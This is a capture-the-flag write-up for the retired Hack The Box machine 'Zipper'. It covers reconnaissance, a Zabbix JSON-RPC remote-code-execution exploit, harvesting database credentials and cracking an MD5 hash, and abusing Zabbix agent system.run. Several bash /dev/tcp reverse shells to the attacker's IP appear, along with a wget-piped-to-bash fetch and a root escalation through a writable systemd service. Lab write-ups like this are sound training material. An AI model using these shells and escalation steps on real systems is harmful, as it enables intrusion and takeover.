This is the write-up for the box Zipper that got retired at the 23rd February 2019. My IP address was 10.10.14.14 while I did this.
Let's put this in our hosts file:
10.10.10.108 zipper.htb
Starting with a Nmap scan:
nmap -sC -sV -o nmap/zipper.nmap 10.10.10.108
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
| 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The web page shows the Apache2 Ubuntu default page, so lets search for hidden directories with Gobuster:
gobuster -u 10.10.10.108 dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
It finds /zabbix that forwards to the login page of the open-source monitoring system Zabbix:
There is an option to sign in as guest to get some restricted access to the platform. The footer shows that it is running Zabbix version 3.0.21 and on Latest data it shows the checks it is doing on the devices and there are potential hostnames and usernames:
When trying to log in with zipper:zipper, zabbix:zabbix, zapper:zapper only the zapper user gives a different message:
"GUI access diabled"
It seems like that those are valid credentials, but they don't log in yet.
Searching for known vulnerabilities:
searchsploit zabbix
Zabbix 2.2 < 3.0.3 - API JSON-RPC Remote Code Execution
Even though the version is lower than the running version, this vulnerability could still work. Modifying the script to our needs:
# (...)
ZABIX_ROOT = 'http://10.10.10.108/zabbix' ### Zabbix IP-address
login = 'zapper' ### Zabbix login
password = 'zapper' ### Zabbix password
hostid = '10105' ### Zabbix hostid
# (...)
The hostid can be found by running one of the scripts and it gets shown in the URL of the results:
Running the exploit:
python 39937.py
After running the script, it starts a command line where it is possible to execute commands:
hostname
: "25eb6425705c"ifconfig
: 172.17.0.2whoami
: zabbix
We can start a persistent shell, to navigate the system more comfortably:
bash -c 'bash -i >& /dev/tcp/10.10.14.14/9001 0>&1'
Right now this is access to the Zabbix server, but our goal is to get into the zipper box.
The database information of Zabbix can be found in /etc/zabbix/zabbix_server.conf and in there are credentials for the database:
DBName=zabbixdb
DBUser=zabbix
DBPassword=f.YMeMd$pTbpY3-449
Starting real terminal:
script -q /dev/null
Logging into the MySQL database:
mysql -u zabbix -D zabbixdb -p
Looking for the user database end getting the contents:
show databases;
use zabbixd;
show tables;
describe users;
select userid, alias, passwd from users;
There are 3 users and the passwords are 32-character hashes which is probably MD5:
+--------+--------+----------------------------------+
| userid | alias | passwd |
+--------+--------+----------------------------------+
| 1 | Admin | 65e730e044402ef2e2f386a18ec03c72 |
| 2 | guest | d41d8cd98f00b204e9800998ecf8427e |
| 3 | zapper | 16a7af0e14037b567d7782c4ef1bdeda |
+--------+--------+----------------------------------+
When encoding the password for the database it is the same MD5 hash as this Admin password.
echo -n 'f.YMeMd$pTbpY3-449' | md5sum
Which means, that the credentials for the Zabbix admin interface is the username Admin and the password "f.YMeMd$pTbpY3-449".
On the admin interface it is possible to see the enabled services for the clients and it looks like our target zipper has the Zabbix Agent installed:
By default this service listens on port 10050 or 10051, so lets test for the ports from the zabbix server:
bash -c 'echo 1> /dev/tcp/172.17.0.1/10050 && echo open || echo false'
open
bash -c 'echo 1> /dev/tcp/172.17.0.1/10051 && echo open || echo false'
bash: connect: Connection refused
bash: /dev/tcp/172.17.0.1/10051: Connection refused
false
Port 10050 is open and by using the Zabbix Agent API it is possible to send commands to the service:
echo "agent.hostname" | nc 172.17.0.1 10050
Zipper
The command agent.hostname shows the hostname of the server with the Zabbix Agent installed. There is another command called system.run with which commands can be sent to the client if the agent configuration has "EnableRemoteCommands" enabled:
echo "system.run[ping -c 1 10.10.14.14]" | nc 172.17.0.1 10050
After sending this and by listening to incoming ICMP traffic, it sends a ping
response back from the zipper client and thus command execution is successful.
Trying to start a reverse shell:
echo "system.run[bash -c 'bash -i >& /dev/tcp/10.10.14.14/9002 0>&1']" | nc 172.17.0.1 10050
The reverse shell session starts but exits seconds later, because Zabbix Agent runs the command and waits for around three seconds until it kills the connection.
This can be bypassed by using nohup
and &
to background the process:
echo "system.run[bash -c 'nohup bash -i >& /dev/tcp/10.10.14.14/9002 0>&1 &']" | nc 172.17.0.1 10050
After sending the command, the listener on my IP and port 9002 starts a reverse shell on the box zipper as the user zabbix.
There is one home directory of zapper in which everyone has read access. The file /home/zapper/utils/backup.sh has the following content:
# Quick script to backup all utilities in this folder to /backups
/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &>/dev/null
One of the parameters looks like a password and when switching users to zapper via su zapper
, the password "ZippityDoDah" works and privileges got escalated to that user.
To get an attack surface, it is recommended to run any Linux Enumeration script:
wget 10.10.14.14/LinEnum.sh | bash
The file /home/zapper/utils/zabbix-service has the SetUID bit set and the user zapper has write permissions to a systemd timer. This configuration file is in /etc/systemd/system/purge-backups.service and by changing the ExecStart parameter to a executable that is controlled by us, we are able to run any code.
Inserting command in /etc/systemd/system/purge-backups.service:
[Unit]
Description=Purge Backups (Script)
[Service]
ExecStart=/tmp/shell.sh
[Install]
WantedBy=purge-backups.timer
Creating /tmp/shell.sh:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.14/9003 0>&1
Executing zabbix-service and stopping and starting the service:
./zabbix-service
start or stop?: stop
./zabbix-service
start or stop?: start
After executing, the listener on my IP and port 9003 will start a shell as root!